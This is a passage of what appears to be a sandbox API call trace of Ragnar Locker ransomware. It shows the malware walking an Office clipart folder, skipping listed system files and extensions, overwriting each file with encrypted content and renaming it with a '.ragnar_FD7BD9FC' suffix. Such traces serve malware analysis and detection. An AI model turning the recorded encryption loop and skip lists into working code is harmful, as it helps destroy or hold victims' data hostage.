dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.139] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.139] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.139] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.139] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.139] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.139] GetProcessHeap () returned 0x580000 [0086.139] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.139] CloseHandle (hObject=0xf4) returned 1 [0086.139] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" [0086.139] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF.ragnar_FD7BD9FC" [0086.140] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.140] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa783, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216112.JPG", cAlternateFileName="")) returned 1 [0086.140] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.140] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0216112.JPG" | out: lpString1="J0216112.JPG") returned="J0216112.JPG" [0086.140] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG") returned=".JPG" [0086.140] lstrcmpiW (lpString1="J0216112.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.140] lstrcmpiW (lpString1="J0216112.JPG", lpString2="autorun.inf") returned 1 [0086.140] lstrcmpiW (lpString1="J0216112.JPG", lpString2="boot.ini") returned 1 [0086.140] lstrcmpiW (lpString1="J0216112.JPG", lpString2="bootfont.bin") returned 1 [0086.140] lstrcmpiW (lpString1="J0216112.JPG", lpString2="bootsect.bak") returned 1 [0086.140] lstrcmpiW (lpString1="J0216112.JPG", lpString2="bootmgr") returned 1 [0086.140] lstrcmpiW (lpString1="J0216112.JPG", lpString2="bootmgr.efi") returned 1 [0086.140] lstrcmpiW (lpString1="J0216112.JPG", lpString2="bootmgfw.efi") returned 1 [0086.140] lstrcmpiW (lpString1="J0216112.JPG", lpString2="desktop.ini") returned 1 [0086.140] lstrcmpiW (lpString1="J0216112.JPG", lpString2="iconcache.db") returned 1 [0086.140] lstrcmpiW (lpString1="J0216112.JPG", lpString2="ntldr") returned -1 [0086.140] lstrcmpiW (lpString1="J0216112.JPG", lpString2="ntuser.dat") returned -1 [0086.141] lstrcmpiW (lpString1="J0216112.JPG", lpString2="ntuser.dat.log") returned -1 [0086.141] lstrcmpiW (lpString1="J0216112.JPG", lpString2="ntuser.ini") returned -1 [0086.141] lstrcmpiW (lpString1="J0216112.JPG", lpString2="thumbs.db") returned -1 [0086.141] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0086.141] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0086.141] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0086.141] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0086.141] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0086.141] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0086.141] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0086.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg")) returned 0x20 [0086.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.141] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=42883) returned 1 [0086.141] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa77a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.141] GetProcessHeap () returned 0x580000 [0086.141] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.141] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.143] VirtualAlloc (lpAddress=0x0, dwSize=0xa783, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.143] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.143] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.143] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa783, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa783, lpOverlapped=0x0) returned 1 [0086.144] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.145] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa783, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.145] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa783, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa783, lpOverlapped=0x0) returned 1 [0086.145] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa783, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.145] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.145] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa783, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.145] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.145] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.146] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.146] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.146] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.146] GetProcessHeap () returned 0x580000 [0086.146] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.146] CloseHandle (hObject=0xf4) returned 1 [0086.146] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" [0086.146] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG.ragnar_FD7BD9FC" [0086.146] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.146] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5474, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216153.JPG", cAlternateFileName="")) returned 1 [0086.146] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.147] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0216153.JPG" | out: lpString1="J0216153.JPG") returned="J0216153.JPG" [0086.147] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG") returned=".JPG" [0086.147] lstrcmpiW (lpString1="J0216153.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.147] lstrcmpiW (lpString1="J0216153.JPG", lpString2="autorun.inf") returned 1 [0086.147] lstrcmpiW (lpString1="J0216153.JPG", lpString2="boot.ini") returned 1 [0086.147] lstrcmpiW (lpString1="J0216153.JPG", lpString2="bootfont.bin") returned 1 [0086.147] lstrcmpiW (lpString1="J0216153.JPG", lpString2="bootsect.bak") returned 1 [0086.147] lstrcmpiW (lpString1="J0216153.JPG", lpString2="bootmgr") returned 1 [0086.147] lstrcmpiW (lpString1="J0216153.JPG", lpString2="bootmgr.efi") returned 1 [0086.147] lstrcmpiW (lpString1="J0216153.JPG", lpString2="bootmgfw.efi") returned 1 [0086.147] lstrcmpiW (lpString1="J0216153.JPG", lpString2="desktop.ini") returned 1 [0086.147] lstrcmpiW (lpString1="J0216153.JPG", lpString2="iconcache.db") returned 1 [0086.147] lstrcmpiW (lpString1="J0216153.JPG", lpString2="ntldr") returned -1 [0086.147] lstrcmpiW (lpString1="J0216153.JPG", lpString2="ntuser.dat") returned -1 [0086.147] lstrcmpiW (lpString1="J0216153.JPG", lpString2="ntuser.dat.log") returned -1 [0086.147] lstrcmpiW (lpString1="J0216153.JPG", lpString2="ntuser.ini") returned -1 [0086.147] lstrcmpiW (lpString1="J0216153.JPG", lpString2="thumbs.db") returned -1 [0086.147] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0086.147] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0086.147] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0086.147] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0086.147] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0086.147] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0086.147] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0086.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg")) returned 0x20 [0086.149] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.149] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=21620) returned 1 [0086.149] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x546b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.149] GetProcessHeap () returned 0x580000 [0086.149] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.149] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.151] VirtualAlloc (lpAddress=0x0, dwSize=0x5474, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.151] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.151] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.151] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5474, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5474, lpOverlapped=0x0) returned 1 [0086.152] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.152] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5474, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.152] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5474, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5474, lpOverlapped=0x0) returned 1 [0086.153] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5474, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.153] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.153] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.153] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.153] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.153] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.153] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.153] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.153] GetProcessHeap () returned 0x580000 [0086.153] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.153] CloseHandle (hObject=0xf4) returned 1 [0086.153] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" [0086.153] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG.ragnar_FD7BD9FC" [0086.153] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.154] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa488, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216540.WMF", cAlternateFileName="")) returned 1 [0086.154] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.154] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0216540.WMF" | out: lpString1="J0216540.WMF") returned="J0216540.WMF" [0086.154] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF") returned=".WMF" [0086.154] lstrcmpiW (lpString1="J0216540.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.154] lstrcmpiW (lpString1="J0216540.WMF", lpString2="autorun.inf") returned 1 [0086.154] lstrcmpiW (lpString1="J0216540.WMF", lpString2="boot.ini") returned 1 [0086.154] lstrcmpiW (lpString1="J0216540.WMF", lpString2="bootfont.bin") returned 1 [0086.154] lstrcmpiW (lpString1="J0216540.WMF", lpString2="bootsect.bak") returned 1 [0086.154] lstrcmpiW (lpString1="J0216540.WMF", lpString2="bootmgr") returned 1 [0086.154] lstrcmpiW (lpString1="J0216540.WMF", lpString2="bootmgr.efi") returned 1 [0086.154] lstrcmpiW (lpString1="J0216540.WMF", lpString2="bootmgfw.efi") returned 1 [0086.154] lstrcmpiW (lpString1="J0216540.WMF", lpString2="desktop.ini") returned 1 [0086.154] lstrcmpiW (lpString1="J0216540.WMF", lpString2="iconcache.db") returned 1 [0086.154] lstrcmpiW (lpString1="J0216540.WMF", lpString2="ntldr") returned -1 [0086.154] lstrcmpiW (lpString1="J0216540.WMF", lpString2="ntuser.dat") returned -1 [0086.154] lstrcmpiW (lpString1="J0216540.WMF", lpString2="ntuser.dat.log") returned -1 [0086.154] lstrcmpiW (lpString1="J0216540.WMF", lpString2="ntuser.ini") returned -1 [0086.154] lstrcmpiW (lpString1="J0216540.WMF", lpString2="thumbs.db") returned -1 [0086.155] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.155] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.155] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.155] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.155] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.155] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.155] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.155] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf")) returned 0x20 [0086.155] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.155] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=42120) returned 1 [0086.155] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa47f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.155] GetProcessHeap () returned 0x580000 [0086.155] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.155] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.157] VirtualAlloc (lpAddress=0x0, dwSize=0xa488, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.157] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.157] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.157] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa488, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa488, lpOverlapped=0x0) returned 1 [0086.159] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.159] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa488, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.159] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa488, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa488, lpOverlapped=0x0) returned 1 [0086.159] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa488, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.159] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.160] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa488, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.160] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.160] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.160] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.160] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.160] UnlockFile (hFile=0xf4, 